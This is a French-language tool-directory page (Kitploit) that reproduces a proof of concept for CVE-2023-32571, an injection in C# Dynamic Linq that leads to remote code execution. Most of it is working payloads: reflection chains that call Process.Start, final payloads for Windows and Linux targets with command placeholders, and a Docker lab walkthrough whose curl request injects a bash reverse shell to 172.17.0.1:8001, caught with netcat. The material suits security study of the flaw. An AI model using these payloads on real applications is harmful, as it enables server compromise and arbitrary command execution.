Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-32571-POC | Kitploit
Outils/GitHubGitHub/vert16x/cve-2023-32571-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Injection Dynamic Linq vers RCE - CVE-2023-32571

À propos de l'injection Dynamic Linq vers RCE (CVE-2023-32571)

Récemment, des membres du NCC Group ont découvert une vulnérabilité dans Dynamic Linq qui permet à des attaquants d'appeler des fonctions C# via une injection Linq, rendant ainsi possible l'obtention d'un RCE.

Même avec le rapport sur le RCE dans Dynamic Linq, les membres du NCC Group, pour une raison quelconque, n'ont pas mis à disposition le POC pour exécuter des commandes.

POC

Comme indiqué dans la recherche du NCC Group, nous pouvons appeler des méthodes C# via "Invoke". Avec cela, nous pouvons appeler "System.Diagnostics.Process.Start" et exécuter des commandes sur le serveur.

Nous pouvons utiliser la méthode "CreateInstanceFromAndUnwrap" pour appeler System.Diagnostics.Process via l'assembly.

Charge utile pour utiliser la méthode System.AppDomain.CreateInstanceAndUnwrap :

root@kitploit:~
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Charge utile pour appeler System.Diagnostics.Process via la méthode CreateInstanceAndUnwrap :

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

En accédant aux méthodes de la classe System.Diagnostics.Process, nous pouvons utiliser la méthode System.Diagnostics.Process.Start pour exécuter des commandes sur le système :

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Remarque : notez que la charge utile cherche les 3 premières méthodes Start et prend la dernière. J'ai fait cela car la liste des méthodes dans System.Diagnostics.Process contient plusieurs méthodes Start, et celle dont nous avons besoin est la troisième de la liste.

Charge utile finale

Cibles Windows

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Cibles Linux
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Pour démarrer le lab, suivez les instructions

Installez docker et docker-compose :

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

Clonez ce dépôt :

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

Accédez au répertoire du dépôt :
root@kitploit:~
cd CVE-2023-32571-POC

Exécutez docker-compose :
root@kitploit:~
sudo docker-compose up --build

L'application démarre sur http://localhost:8000/

Compte-rendu du lab

En accédant à la route "/api/products" via la méthode POST, nous voyons qu'elle renvoie une liste de produits :

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

En envoyant le paramètre name en JSON, nous pouvons filtrer les produits :

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Après quelques tests, nous voyons que nous avons réussi à l'injecter dans la requête Dynamic Linq. En envoyant la charge utile suivante, nous avons obtenu un reverse shell :

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

Télécharger l’outil